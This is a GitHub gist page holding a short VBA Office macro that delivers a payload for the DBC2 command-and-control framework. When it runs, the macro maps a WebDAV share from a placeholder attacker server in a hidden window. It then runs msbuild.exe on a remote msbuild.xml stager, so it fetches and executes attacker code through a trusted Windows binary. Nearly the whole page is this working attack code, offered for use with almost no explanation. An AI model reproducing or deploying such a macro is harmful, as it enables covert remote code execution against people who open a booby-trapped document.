Skip to content

Instantly share code, notes, and snippets.

@PaulSec
Forked from Arno0x/macro_webdav_delivery.vba
Created May 21, 2019 12:22
Show Gist options
  • Save PaulSec/e1a0ac13820900cfbe283f522764fdb3 to your computer and use it in GitHub Desktop.
Save PaulSec/e1a0ac13820900cfbe283f522764fdb3 to your computer and use it in GitHub Desktop.
Office macro using WedDav mapping to deliver payload
'
' Example of DBC2 msbuild.xml stager delivery through a webdav maping
' The stager file (msbuild.xml) can be generated from the DBC2 controller
'
' NOTE:
' msbuild.exe is supposed to accept a path straight from a webdav server (ex: msbuild.exe \\webdav_server\msbuild.xml)
' but it fails miserably for me, so I have to have to first map the drive...
Sub Go()
Dim cmd As String, srv As String
Dim result As Integer
srv = "webdav_server_name_or_ip"
'----------------------------------------------------------
' Map WebDav drive as a local drive
cmd = "cmd /c ""pushd \\" & srv & "\ & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe msbuild.xml & popd"""
result = Shell(cmd, vbHide)
End Sub
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment